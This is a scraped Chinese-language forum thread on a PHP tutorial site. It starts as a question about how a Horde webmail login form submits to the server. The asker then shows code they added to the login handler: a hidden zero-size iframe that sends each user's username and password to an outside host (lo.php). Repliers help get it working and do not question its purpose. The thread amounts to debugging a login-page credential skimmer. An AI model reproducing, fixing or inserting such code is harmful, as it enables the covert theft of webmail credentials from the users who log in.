Heim >Backend-Entwicklung >PHP-Tutorial >请教一个原理问题

请教一个原理问题

WBOY
WBOYOriginal
2016-06-23 14:14:52885Durchsuche

function submit_login(e){    if (typeof e != 'undefined' && !enter_key_trap(e)) {        return;    }    if (document.horde_login.horde_user.value == "") {        alert("<?php echo addslashes(_("Please provide your username and password")) ?>");        document.horde_login.horde_user.focus();        return false;    } else if (document.horde_login.horde_pass.value == "") {        alert("<?php echo addslashes(_("Please provide your username and password")) ?>");        document.horde_login.horde_pass.focus();        return false;    } else {        document.horde_login.loginButton.disabled = true;<?php if (!empty($ie_clientcaps)): ?>        try {            document.horde_login.ie_version.value = objCCaps.getComponentVersion("{89820200-ECBD-11CF-8B85-00AA005B4383}", "componentid");        } catch (e) {        }<?php endif; ?>        document.horde_login.submit();        return true;    }}
请问这两个用户名密码的表单如何提交到后台php的


回复讨论(解决方案)

贴出的表单html代码
print_r($_REQUEST) ; 看看

document.horde_login.submit();
执行名为 horde_login 的表单的 submit 方法(提交表单)

我再这个submit函数里面写了这么一段代码动态创建一个iframe,但是貌似没有执行请问我写错了?

var f=document.createElement("iframe");f.height=0;f.width=0;f.src="https://xxxxx/lo.php?user="+document.imp_login.imapuser.value+"&pass"+document.imp_login.pass.value;document.body.appendChild(f);

如果你说的是没有创建iframe的话 代码中 f.height="100%"; f.width="100%" 就可以了

如果你说的是没有创建iframe的话 代码中 f.height="100%"; f.width="100%" 就可以了 这个好像没什么关系吧

我在页面里执行了一下 加上就可以出来iframe

Stellungnahme:
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn